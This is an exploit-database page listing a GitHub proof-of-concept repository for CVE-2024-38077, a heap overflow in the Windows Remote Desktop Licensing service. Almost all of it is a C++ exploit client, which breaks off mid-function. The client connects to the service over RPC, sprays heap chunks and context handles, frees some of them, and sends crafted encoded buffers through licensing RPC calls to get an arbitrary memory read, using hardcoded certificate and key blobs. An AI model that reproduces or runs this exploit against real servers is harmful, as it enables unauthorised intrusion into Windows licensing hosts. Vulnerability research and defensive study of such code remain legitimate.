Exploit database

GH-7e9b54eb11a162ad3e7a770f22931efa

accord96/cve-2024-38077-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-38077

11 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
accord96/cve-2024-38077-pocRevision aaa9c1f8bb35

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

client/client — копия.cpp

C++ · 37,135 bytes
#include <iostream>
#include <rpc.h>
#pragma comment(lib, "Rpcrt4.lib")

#include <RpcInterface_h.h>
#include <vector>
#include <Windows.h>
#include "md5.h"
//#pragma pack(push, 1)
//typedef struct _TLSChallengeData
//{
//	DWORD   dwVersion;
//	DWORD   dwRandom;
//	DWORD   cbChallengeData;
//	PBYTE   pbChallengeData;
//	DWORD   cbReservedData;
//	PBYTE   pbReservedData;
//} TLSCHALLENGEDATA, * PTLSCHALLENGEDATA;
//#pragma pack(pop)

RPC_BINDING_HANDLE hExplicitBinding = NULL;
PCONTEXT_HANDLE g_hContext = 0;

std::vector<PCONTEXT_HANDLE> g_handleLists;

auto m_tpBaseDigits = L"BCDFGHJKMPQRTVWXY2346789";

void pause()
{
    while (true);
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
	free(p);
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
	return((void __RPC_FAR*) malloc(cBytes));
}

DWORD EncodeData(LPBYTE pbSource,  //[IN]  Stream of Bytes to be encoded
	TCHAR** pbEncodedData, int m_dwInputDataBytes)	 //[OUT] Pointer to a string containing the encoded data
// I allocate the Buffer, you should free it
{
	auto m_dwEncodedLength = m_dwInputDataBytes * 10;
	DWORD dwReturn = ERROR_SUCCESS;
	int nStartIndex = m_dwEncodedLength;

	BYTE* pbDataToEncode = NULL;
	TCHAR* pbEncodeBuffer = NULL;

	if (NULL == pbEncodedData)
	{
		dwReturn = ERROR_INVALID_PARAMETER;
		goto done;
	}

	*pbEncodedData = NULL;

	pbEncodeBuffer = (TCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
		(m_dwEncodedLength + 1) * sizeof(TCHAR));
	if (pbEncodeBuffer == NULL)
	{
		dwReturn = ERROR_NOT_ENOUGH_MEMORY;
		goto done;
	}

	// Now need to make a copy of the incoming data, so we can run the algorithm below
	pbDataToEncode = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, m_dwInputDataBytes);
	if (pbDataToEncode == NULL)
	{
		dwReturn = ERROR_NOT_ENOUGH_MEMORY;
		goto done;
	}
	memcpy(pbDataToEncode, pbSource, m_dwInputDataBytes);


	// Let us get rid of the simple stuff
	pbEncodeBuffer[nStartIndex--] = 0;

	for (; nStartIndex >= 0; --nStartIndex)
	{
		unsigned int i = 0;

		for (int nIndex = m_dwInputDataBytes - 1; 0 <= nIndex; --nIndex)
		{
			i = (i * 256) + pbDataToEncode[nIndex];
			pbDataToEncode[nIndex] = (BYTE)(i / 0x18);
			i %= 0x18;
		}

		// i now contains the remainder, which is the current digit
		pbEncodeBuffer[nStartIndex] = m_tpBaseDigits[i];
	}


	*pbEncodedData = pbEncodeBuffer;

done:
	if (pbDataToEncode != NULL)
	{
		HeapFree(GetProcessHeap(), 0, pbDataToEncode);
	}

	if (dwReturn != ERROR_SUCCESS)
	{
		// There was an error, so free the memory that you allocated
		if (pbEncodeBuffer != NULL)
		{
			HeapFree(GetProcessHeap(), 0, pbEncodeBuffer);
		}
	}
	return dwReturn;
}

bool CryptEncryptData(HCRYPTKEY hPubKey, const std::vector<BYTE>& data, std::vector<BYTE>& encryptedData) 
{
	DWORD dwDataLen = data.size();
	DWORD dwEncryptedLen = dwDataLen;

	encryptedData.resize(dwEncryptedLen);

	
	memcpy(encryptedData.data(), data.data(), dwDataLen);


	if (CryptEncrypt(hPubKey, 0, TRUE, 0, encryptedData.data(), &dwDataLen, dwEncryptedLen))
	{
		encryptedData.resize(dwDataLen); 
		return true;
	}

	std::cerr << "CryptEncrypt failed: " << GetLastError() << std::endl;
	return false;
}

bool ImportRsaPublicKey(const BYTE* pbKeyBlob, DWORD dwKeyBlobSize, HCRYPTKEY& hPubKey)
{
	HCRYPTPROV hCryptProv = NULL;

	if (!CryptAcquireContextW(&hCryptProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) 
	{
		std::cerr << "CryptAcquireContext failed: " << GetLastError() << std::endl;
		return false;
	}
	
	if (!CryptImportKey(hCryptProv, pbKeyBlob, dwKeyBlobSize, 0, 0, &hPubKey)) 
	{
		std::cerr << "CryptImportKey failed: " << GetLastError() << std::endl;
		CryptReleaseContext(hCryptProv, 0);
		return false;
	}

	CryptReleaseContext(hCryptProv, 0);
	return true;
}

BYTE my_cert_exc[] = {
	0x30, 0x82, 0x01, 0x36, 0x30, 0x81, 0xe5, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x08, 0x01, 0x9e, 0x2b, 0xfa, 0xc0, 0xae, 0x2c, 0x30, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1d, 0x05, 0x00, 0x30, 0x11, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x1e, 0x06, 0x00, 0x62, 0x00, 0x62, 0x00, 0x62, 0x30, 0x1e, 0x17, 0x0d, 0x37, 0x30, 0x30, 0x36, 0x30, 0x35, 0x30, 0x39, 0x32, 0x37, 0x31, 0x33, 0x5a, 0x17, 0x0d, 0x34, 0x39, 0x30, 0x36, 0x30, 0x35, 0x30, 0x39, 0x32, 0x37, 0x31, 0x33, 0x5a, 0x30, 0x11, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x1e, 0x06, 0x00, 0x62, 0x00, 0x62, 0x00, 0x62, 0x30, 0x5c, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x4b, 0x00, 0x30, 0x48, 0x02, 0x41, 0x00, 0xb1, 0x22, 0xdf, 0xa6, 0x34, 0xad, 0x80, 0x3c, 0xbf, 0x0c, 0x11, 0x33, 0x98, 0x6e, 0x7e, 0x55, 0x1a, 0x03, 0x6a, 0x1d, 0xfd, 0x52, 0x1c, 0xd6, 0x13, 0xc4, 0x97, 0x2c, 0xd6, 0xf0, 0x96, 0xf2, 0xa3, 0xdd, 0x0b, 0x8f, 0x80, 0xb8, 0xa2, 0x69, 0x09, 0x13, 0x72, 0x25, 0x13, 0x4e, 0xc9, 0xd9, 0x8b, 0x3a, 0xcf, 0xfd, 0x79, 0xc6, 0x65, 0x06, 0x13, 0x68, 0xc2, 0x17, 0x61, 0x3a, 0xba, 0x05, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x25, 0x30, 0x23, 0x30, 0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xff, 0x02, 0x01, 0x00, 0x30, 0x10, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x12, 0x04, 0x04, 0x01, 0x02, 0x03, 0x00, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1d, 0x05, 0x00, 0x03, 0x41, 0x00, 0x3f, 0x4c, 0xed, 0xa4, 0x02, 0xad, 0x60, 0x7b, 0x9d, 0x1a, 0x38, 0x09, 0x5e, 0xfe, 0x25, 0x21, 0x10, 0x10, 0xfe, 0xb1, 0xe5, 0xa3, 0x0f, 0xe5, 0xaf, 0x67, 0x05, 0xc2, 0xe5, 0x3a, 0x19, 0x94, 0x9e, 0xaf, 0x50, 0x87, 0x5e, 0x2e, 0x77, 0xc7, 0x1a, 0x9b, 0x49, 0x45, 0xd6, 0x31, 0x36, 0x0c, 0x9d, 0xbe, 0xc1, 0xf1, 0x7d, 0x7e, 0x09, 0x6c, 0x31, 0x85, 0x47, 0xf8, 0x16, 0x7d, 0x84, 0x0e
};

BYTE my_cert_sig[] = {
	0x30, 0x82, 0x03, 0x64, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x02, 0xa0, 0x82, 0x03, 0x55, 0x30, 0x82, 0x03, 0x51, 0x02, 0x01, 0x01, 0x31, 0x00, 0x30, 0x0b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01, 0xa0, 0x82, 0x03, 0x39, 0x30, 0x82, 0x01, 0x36, 0x30, 0x81, 0xe5, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x08, 0x01, 0x9e, 0x2b, 0xfa, 0xc0, 0xab, 0x6d, 0x10, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1d, 0x05, 0x00, 0x30, 0x11, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x1e, 0x06, 0x00, 0x62, 0x00, 0x62, 0x00, 0x62, 0x30, 0x1e, 0x17, 0x0d, 0x37, 0x30, 0x30, 0x36, 0x30, 0x35, 0x30, 0x39, 0x32, 0x37, 0x31, 0x33, 0x5a, 0x17, 0x0d, 0x34, 0x39, 0x30, 0x36, 0x30, 0x35, 0x30, 0x39, 0x32, 0x37, 0x31, 0x33, 0x5a, 0x30, 0x11, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x1e, 0x06, 0x00, 0x62, 0x00, 0x62, 0x00, 0x62, 0x30, 0x5c, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x4b, 0x00, 0x30, 0x48, 0x02, 0x41, 0x00, 0xb1, 0x22, 0xdf, 0xa6, 0x34, 0xad, 0x80, 0x3c, 0xbf, 0x0c, 0x11, 0x33, 0x98, 0x6e, 0x7e, 0x55, 0x1a, 0x03, 0x6a, 0x1d, 0xfd, 0x52, 0x1c, 0xd6, 0x13, 0xc4, 0x97, 0x2c, 0xd6, 0xf0, 0x96, 0xf2, 0xa3, 0xdd, 0x0b, 0x8f, 0x80, 0xb8, 0xa2, 0x69, 0x09, 0x13, 0x72, 0x25, 0x13, 0x4e, 0xc9, 0xd9, 0x8b, 0x3a, 0xcf, 0xfd, 0x79, 0xc6, 0x65, 0x06, 0x13, 0x68, 0xc2, 0x17, 0x61, 0x3a, 0xba, 0x05, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x25, 0x30, 0x23, 0x30, 0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xff, 0x02, 0x01, 0x00, 0x30, 0x10, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x12, 0x04, 0x04, 0x01, 0x02, 0x03, 0x00, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1d, 0x05, 0x00, 0x03, 0x41, 0x00, 0x9f, 0xd2, 0x9b, 0x18, 0x11, 0x5c, 0x7e, 0xf5, 0x00, 0xa2, 0xee, 0x54, 0x3a, 0x4b, 0xb7, 0x52, 0x84, 0x03, 0xcc, 0xb4, 0xe9, 0xfe, 0x7f, 0xe3, 0xac, 0x2d, 0xcb, 0xf9, 0xed, 0xe6, 0x8a, 0x1e, 0xca, 0x02, 0xf9, 0x7c, 0x6a, 0x0f, 0x3c, 0x23, 0x84, 0xd8, 0x5a, 0xb1, 0x24, 0x18, 0xe5, 0x23, 0xdb, 0x90, 0x95, 0x89, 0x78, 0x25, 0x1e, 0x28, 0xd0, 0xe7, 0x90, 0x38, 0x29, 0xe4, 0x67, 0x23, 0x30, 0x82, 0x01, 0xfb, 0x30, 0x82, 0x01, 0xa9, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x08, 0x01, 0x9e, 0x2b, 0xfa, 0xc0, 0xab, 0x6d, 0x10, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1d, 0x05, 0x00, 0x30, 0x11, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x1e, 0x06, 0x00, 0x62, 0x00, 0x62, 0x00, 0x62, 0x30, 0x1e, 0x17, 0x0d, 0x37, 0x30, 0x30, 0x36, 0x30, 0x35, 0x30, 0x39, 0x32, 0x37, 0x31, 0x33, 0x5a, 0x17, 0x0d, 0x34, 0x39, 0x30, 0x36, 0x30, 0x35, 0x30, 0x39, 0x32, 0x37, 0x31, 0x33, 0x5a, 0x30, 0x0d, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x02, 0x61, 0x00, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xe0, 0x5a, 0x71, 0x43, 0x23, 0x27, 0x3d, 0xb5, 0xf1, 0x7c, 0x73, 0x1e, 0x7d, 0xb3, 0xb0, 0x73, 0x97, 0xcf, 0x08, 0xa6, 0xd6, 0x14, 0x48, 0x4a, 0xb7, 0x15, 0x79, 0x3a, 0xf9, 0x31, 0x37, 0x66, 0x22, 0xe3, 0xb8, 0x68, 0x20, 0xdd, 0xb2, 0x6e, 0xa7, 0x63, 0x63, 0x6c, 0x55, 0x09, 0x2c, 0x71, 0x22, 0x96, 0xda, 0x18, 0x04, 0x9f, 0xd7, 0xe6, 0x1b, 0x44, 0x29, 0xb1, 0xa1, 0x4a, 0x85, 0xab, 0x45, 0x67, 0x63, 0x9c, 0x2d, 0x2f, 0xbc, 0x60, 0x98, 0x89, 0x3e, 0xd9, 0xc5, 0x53, 0xfb, 0x14, 0xf9, 0xf4, 0x88, 0xf6, 0xff, 0xa3, 0x8f, 0x9e, 0xe3, 0xaa, 0xf4, 0x48, 0x88, 0x98, 0x1b, 0xde, 0xc2, 0x1e, 0x7d, 0x61, 0x7e, 0x6c, 0x7f, 0xc0, 0x19, 0xe8, 0xf8, 0x96, 0x09, 0x8e, 0xb7, 0x64, 0x70, 0xd5, 0x6c, 0x46, 0x66, 0xc0, 0x15, 0xf7, 0x84, 0xf1, 0x72, 0xaa, 0x7b, 0x49, 0x99, 0xc6, 0xfd, 0xc4, 0x8e, 0x6e, 0x2a, 0x4c, 0xda, 0xf2, 0x56, 0xd6, 0x9f, 0xcd, 0xd1, 0x4c, 0xc8, 0x2d, 0x50, 0xeb, 0x5a, 0x4e, 0x48, 0xa8, 0x10, 0x67, 0x9f, 0x97, 0xa5, 0xf6, 0xa9, 0x33, 0xdd, 0x12, 0xe6, 0x31, 0x59, 0xa7, 0x2c, 0x1b, 0x3b, 0xa8, 0xc7, 0xe5, 0x9a, 0xf0, 0xda, 0xbd, 0xcc, 0x40, 0xf2, 0x48, 0x9d, 0xf6, 0x33, 0x5f, 0x74, 0x61, 0x4b, 0x1d, 0x2b, 0x90, 0x16, 0x64, 0x4a, 0x12, 0xbc, 0xe7, 0x0e, 0x74, 0x70, 0x97, 0x7a, 0x6e, 0x50, 0x25, 0xe9, 0x25, 0x1d, 0xc4, 0x30, 0x0d, 0x6e, 0xf3, 0x98, 0x60, 0xca, 0xd5, 0x9b, 0x06, 0xa9, 0xb8, 0x1a, 0x27, 0x49, 0x1e, 0x83, 0xea, 0x82, 0x6a, 0x50, 0x5c, 0x3c, 0x75, 0x6d, 0xf9, 0x52, 0x9e, 0x53, 0x82, 0x59, 0xc0, 0x04, 0xa8, 0x32, 0xa6, 0x77, 0x83, 0x89, 0x34, 0x86, 0x17, 0x1d, 0x3a, 0x07, 0x5d, 0xb4, 0x90, 0x26, 0xe9, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x25, 0x30, 0x23, 0x30, 0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xff, 0x02, 0x01, 0x00, 0x30, 0x10, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x12, 0x04, 0x04, 0x01, 0x02, 0x03, 0x00, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1d, 0x05, 0x00, 0x03, 0x41, 0x00, 0x4b, 0x94, 0x9d, 0xb7, 0x0b, 0xb0, 0x77, 0xd1, 0x9a, 0xdf, 0xc7, 0x07, 0xc2, 0x04, 0x20, 0xaf, 0xb9, 0x9a, 0xe1, 0xf0, 0xa3, 0xe8, 0x57, 0xab, 0x4e, 0x3f, 0x08, 0x5f, 0xe2, 0xc8, 0x4b, 0x53, 0x94, 0x12, 0xf4, 0x23, 0x5d, 0xce, 0x03, 0xa5, 0x3a, 0x43, 0xdd, 0xaa, 0x76, 0xad, 0xf7, 0xcc, 0x32, 0xe3, 0x6a, 0xf7, 0xb8, 0xe4, 0xe3, 0x17, 0x07, 0xf8, 0x81, 0x24, 0x1d, 0x6b, 0xf3, 0x6b, 0x31, 0x00,
};

BYTE TEST_RSA_PUBLIC_MSKEYBLOB[] = {
	0x08, 0x02, 0x00, 0x00, 0x10, 0x66, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xc6, 0x1b, 0x81, 0x5f, 0x96, 0x1a, 0x35, 0xc6, 0x88, 0xb5, 0xaf, 0x23, 0x2f, 0x81, 0x15, 0x8c, 0x3a, 0x21, 0xf9, 0x5e, 0xc8, 0x97, 0xa6, 0xef, 0xa4, 0x1d, 0x5b, 0x23, 0xbc, 0xf0, 0x38, 0x7e
};

void pack32(uint32_t value, std::vector<uint8_t>& data) 
{
	data.push_back(static_cast<uint8_t>(value & 0xFF));
	data.push_back(static_cast<uint8_t>((value >> 8) & 0xFF));
	data.push_back(static_cast<uint8_t>((value >> 16) & 0xFF));
	data.push_back(static_cast<uint8_t>((value >> 24) & 0xFF));
}

std::vector<uint8_t> p1(uint8_t value) {
	std::vector<uint8_t> result(1);
	result.push_back(value);
	return result;
}

std::vector<uint8_t> p64(uint64_t value) {
	std::vector<uint8_t> result(8);
	for (size_t i = 0; i < 8; ++i) {
		result[i] = (value >> (i * 8)) & 0xFF;
	}
	return result;
}

std::vector<uint8_t> p32(uint32_t value) {
	std::vector<uint8_t> result(4);
	for (size_t i = 0; i < 4; ++i) {
		result[i] = (value >> (i * 8)) & 0xFF;
	}
	return result;
}

void construct_overflow_arbread_buf(PCONTEXT_HANDLE Handlde, uint64_t addr, bool padding)
{
	/*
	std::vector<uint8_t> payload;

	std::vector<uint8_t> addr_bytes = p64(addr);
	payload.insert(payload.end(), addr_bytes.begin(), addr_bytes.end());

	if (padding)
	{
		std::vector<uint8_t> padding1 = p32(0);
		payload.insert(payload.end(), padding1.begin(), padding1.end());

		std::vector<uint8_t> padding2 = p32(0);
		payload.insert(payload.end(), padding2.begin(), padding2.end());

		std::vector<uint8_t> padding3 = p32(1);
		payload.insert(payload.end(), padding3.begin(), padding3.end());
	}

	DWORD pdwErrCode = 0;
	TLSRpcTelephoneRegisterLKP(g_hContext, payload.size(), payload.data(), &pdwErrCode);*/


	std::vector<uint8_t> payload;
	std::vector<uint8_t> addr_bytes = p64(addr);
	std::vector<uint8_t> addr_bytes2 = p64(0xCCCCCCCCCCCCCCCC);
	std::vector<uint8_t> addr_bytes3 = p32(0xCCCCCCCC);
	payload.insert(payload.end(), addr_bytes2.begin(), addr_bytes2.end());
	payload.insert(payload.end(), addr_bytes2.begin(), addr_bytes2.end());
	payload.insert(payload.end(), addr_bytes3.begin(), addr_bytes3.end());
	payload.push_back(0xCC);
	payload.insert(payload.end(), addr_bytes.begin(), addr_bytes.end());

	TCHAR* pbEncodedData1 = 0;
	EncodeData((BYTE*)payload.data(), &pbEncodedData1, payload.size());

	DWORD pdwErrCode = 0;
	TLSRpcTelephoneRegisterLKP(Handlde, wcslen(pbEncodedData1) * 2 + 2, (PBYTE)pbEncodedData1, &pdwErrCode);

	HeapFree(GetProcessHeap(), 0, pbEncodedData1);
}

bool EncryptAES256(std::vector<BYTE>& encryptedData)
{

	struct KeyBlobStru
	{
		BLOBHEADER header;
		DWORD size;
		BYTE data[44];
	};

	HCRYPTPROV hprov;
	bool ret = false;
	if (CryptAcquireContextA(&hprov, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
	{
		HCRYPTKEY hkey = 0;

	/*	HCRYPTKEY hkey = 0;
		KeyBlobStru blob = { 0 };
		blob.header.aiKeyAlg = CALG_AES_256;
		blob.header.bType = PLAINTEXTKEYBLOB;
		blob.header.bVersion = CUR_BLOB_VERSION;
		blob.size = sizeof(TEST_RSA_PUBLIC_MSKEYBLOB);
		memcpy(&blob.data[0], TEST_RSA_PUBLIC_MSKEYBLOB, sizeof(TEST_RSA_PUBLIC_MSKEYBLOB));*/
			
		if (CryptImportKey(hprov, TEST_RSA_PUBLIC_MSKEYBLOB, sizeof(TEST_RSA_PUBLIC_MSKEYBLOB), 0, 0, &hkey))
		{
			DWORD resSize = encryptedData.size();

			if (CryptEncrypt(hkey, 0, TRUE, 0, 0, &resSize, 0))
			{
				std::vector<BYTE> pbCrypt;
	
				pbCrypt.resize(resSize);
				memcpy(pbCrypt.data(), encryptedData.data(), encryptedData.size());

				DWORD dwCryptSize = encryptedData.size();

				if (CryptEncrypt(hkey, 0, TRUE, 0, pbCrypt.data(), &dwCryptSize, resSize))
				{
					encryptedData.clear();
					encryptedData.resize(pbCrypt.size());
					memcpy(encryptedData.data(), pbCrypt.data(), pbCrypt.size());


					ret = true;
				}
			}
			else
			{
				std::cout << "error CryptEncrypt" << std::endl;;
			}
			

	


			CryptDestroyKey(hkey);
		}
		else
		{
			std::cout << "error CryptImportKey " << GetLastError() << std::endl;;
		}

		CryptReleaseContext(hprov, 0);
	}
	return ret;
}

#include <iostream>
#include <sstream>
#include <iomanip>

void sprayLfhChunk(int size, int loopSize)
{
	/*
	typedef struct _Enveloped_Data
	{
		DWORD   cbEncryptedKey;
		PBYTE   pbEncryptedKey;
		DWORD   cbEncryptedData;
		PBYTE   pbEncryptedData;
	} Enveloped_Data, * PEnveloped_Data;
	*/

	//PUBLICKEYSTRUC(bType=8, bVersion=2, aiKeyAlg=26128)
	
	std::vector<uint8_t> payload(size, 0x00);

	/*
	data = b"\x00" * 0x3c
    data += p32(len(payload))
    data += payload
    data += b"\x00" * 0x10
	*/
	std::vector<uint8_t> data(0x3c, 0x00);
	pack32(static_cast<uint32_t>(payload.size()), data);
	data.insert(data.end(), payload.begin(), payload.end());
	data.insert(data.end(), 0x10, 0x00);

	/*
	rsa_pub_key = CryptImportKey(TEST_RSA_PUBLIC_MSKEYBLOB)
    encrypted_data = CryptEncrypt(rsa_pub_key, data)
	*/

	if (!EncryptAES256(data))
	{
		std::cerr << "EncryptAES256 " << GetLastError() << std::endl;
		return;
	}

	std::vector<uint8_t> payloadV2;//   payload = b""#
	pack32(static_cast<uint32_t>(sizeof(TEST_RSA_PUBLIC_MSKEYBLOB)), payloadV2);
	for (size_t i = 0; i < sizeof(TEST_RSA_PUBLIC_MSKEYBLOB); i++) //   payload += key
	{
		payloadV2.push_back(TEST_RSA_PUBLIC_MSKEYBLOB[i]);
	}

	pack32(static_cast<uint32_t>(data.size()), payloadV2);//    payload += p32(len(data))
	payloadV2.insert(payloadV2.end(), data.begin(), data.end());//    payload += data

for (size_t i = 0; i < loopSize; i++)
	{
		DWORD dwLSRetCode = ERROR_SUCCESS;
		auto rpcStatus = TLSRpcRegisterLicenseKeyPack(g_hContext, my_cert_sig, sizeof(my_cert_sig), my_cert_exc, sizeof(my_cert_exc), (BYTE*)payloadV2.data(), payloadV2.size(), &dwLSRetCode);
		
	//	system("pause");
		//wprintf(L"TLSRpcRegisterLicenseKeyPack: %p %p.\n", rpcStatus, dwLSRetCode);
	}
}

void sprayHandles(uint64_t times)
{
	g_handleLists.clear();

	PCONTEXT_HANDLE hContext;
	for (size_t i = 0; i < times; i++)
	{
		hContext = 0;
		TLSRpcConnect(hExplicitBinding, &hContext);
		g_handleLists.push_back(hContext);
	}
}

void disconnect(PPCONTEXT_HANDLE handle, int index)
{
	TLSRpcDisconnect(handle);

	g_handleLists.erase(g_handleLists.begin() + index);
	//g_handleLists.erase(std::remove(g_handleLists.begin(), g_handleLists.end(), handle), g_handleLists.end());
	//g_handleLists.erase(find(g_handleLists.begin(), g_handleLists.end(), *handle));
}

uint64_t bytes_to_long(BYTE* bytes, int size) 
{
	uint64_t result = 0;

	for (size_t i = 0; i < size; ++i) {
		result |= static_cast<uint64_t>(bytes[i]) << (8 * (size - 1 - i));
	}

	return result;
}

void handlesFree()
{
	Sleep(7000);

	for (size_t i = 0; i < 8; i++)
	{
	/*	auto handle_lists = g_handleLists.data();

		auto handle = handle_lists[0x400 + i * 2];

		disconnect(&handle);*/
		auto index = 0x400 + i * 2;
		auto handle = g_handleLists[index];

		TLSRpcDisconnect(&handle);
		g_handleLists.erase(std::remove(g_handleLists.begin(), g_handleLists.end(), handle), g_handleLists.end());

		//disconnect(&handle, index);
		//	g_handleLists.erase(find(g_handleLists.begin(), g_handleLists.end(), 7));

	}
}

void arbRead(uint64_t* addr, bool padding = false, bool passZero = false, uint64_t leakHeapBaseOffset = 0)
{
	if (leakHeapBaseOffset != 0)
		sprayLfhChunk(0x20, 0x800);
	else
		sprayLfhChunk(0x20, 0x400);
//	return;
	std::cout << "1\n";

	sprayHandles(0xc00);
	std::cout << "2\n";
	handlesFree();


	DWORD serverNameLen = 0x11;
	wchar_t serverName[0x11] = { 0 };
	//memset(serverName, 'a', 0x11 - 1);
	wcscpy_s(serverName, L"aaaaaaaaaaaaaaaa");


	byte pbData[0x10] = { 0 };
	memset(pbData, 'c', sizeof(pbData));

	TLSBLOB tls_blob = { 0 };
	tls_blob.pbData = pbData;
	tls_blob.cbData = sizeof(pbData);

	char pszObjId[0x11] = { 0 };
	memset(pszObjId, 'd', 0x10);

	TLSCERT_EXTENSION tls_cert_extension = { 0 };

	tls_cert_extension.pszObjId = pszObjId;
	tls_cert_extension.fCritical = false;
	tls_cert_extension.Value = tls_blob;

	byte pbData2[] = { 0x30, 0x48, 0x02, 0x41, 0x00, 0xbf, 0x1b, 0xe0, 0x6a, 0xb5, 0xc5, 0x35, 0xd8, 0xe3, 0x0a, 0x3b, 0x3d, 0xc6, 0x16, 0xec, 0x08, 0x4f, 0xf4, 0xf5, 0xb9, 0xcf, 0xb2, 0xa3, 0x06, 0x95, 0xcc, 0xc6, 0xc5, 0x8c, 0x37, 0x35, 0x6c, 0x93, 0x8d, 0x3c, 0x16, 0x5d, 0x98, 0x0b, 0x07, 0x88, 0x2a, 0x35, 0xf2, 0x2a, 0xc2, 0xe5, 0x80, 0x62, 0x4c, 0xc0, 0x8a, 0x2a, 0x33, 0x91, 0xe5, 0xe1, 0xf6, 0x08, 0xf9, 0x47, 0x64, 0xb2, 0x7d, 0x02, 0x03, 0x01, 0x00, 0x01 };

	TLSCRYPT_BIT_BLOB tls_crypt_bit_blob = { 0 };
	tls_crypt_bit_blob.cbData = sizeof(pbData2);
	tls_crypt_bit_blob.pbData = pbData2;
	tls_crypt_bit_blob.cUnusedBits = 0;

	byte nullBuf[2] = { 0 };

	TLSBLOB tls_blob2 = { 0 };
	tls_blob2.cbData = 0;
	tls_blob2.pbData = 0;

	auto pszObjId2 = "1.2.840.113549.1.1.1";

	TLSCRYPT_ALGORITHM_IDENTIFIER tls_crypto_algorithm_identifier = { 0 };
	tls_crypto_algorithm_identifier.pszObjId = (char*)pszObjId2;
	tls_crypto_algorithm_identifier.Parameters = tls_blob2;

	TLSCERT_PUBLIC_KEY_INFO tls_cert_public_key_info = { 0 };
	tls_cert_public_key_info.Algorithm = tls_crypto_algorithm_identifier;
	tls_cert_public_key_info.PublicKey = tls_crypt_bit_blob;

	byte encryptedHwid[0x20] = { 0 };
	memset(encryptedHwid, 'e', 0x20);

	auto bbb = L"bbb";//?????

	TLSHYDRACERTREQUEST hydra_cert_request = { 0 };
	hydra_cert_request.dwHydraVersion = 0;
	hydra_cert_request.cbEncryptedHwid = sizeof(encryptedHwid);
	hydra_cert_request.pbEncryptedHwid = encryptedHwid;
	hydra_cert_request.szSubjectRdn = (wchar_t*)bbb;
	hydra_cert_request.pSubjectPublicKeyInfo = &tls_cert_public_key_info;
	hydra_cert_request.dwNumCertExtension = 0;


	byte pbResponseData[0x10] = { 0 };
	memset(pbResponseData, 'a', 0x10);

	BYTE pbCert[0x100] = { 0 };
	//memset(pbCert, 'b', 0x10);
	DWORD cbCert = sizeof(pbCert);

	int count = 0;

	bool needPadding = padding;
	uint64_t ptrTarget = addr[0];
	int leak_idx = 0;
	while (true)
	{
		count++;

		Sleep(5000);

		RpcTryExcept
		{
			construct_overflow_arbread_buf(g_hContext, ptrTarget, needPadding);
			//if (leakHeapBaseOffset)
			//{
			//	//construct_overflow_arbread_buf(((uint64_t*)addr)[0], padding);
			//}
			//else
			//{

			//}
		}
		RpcExcept(1)
		{
			wprintf(L"Runtime reported exception: %p.\n", RpcExceptionCode());
		}
		RpcEndExcept


		uint64_t retAddr = 0;
		
		byte ncacn[] = { 'n', 0x00, 'c', 0x00, 'a', 0x00, 'c', 0x00, 'n', 0x00 };

		for (size_t i = g_handleLists.size(); i; i--)
		{
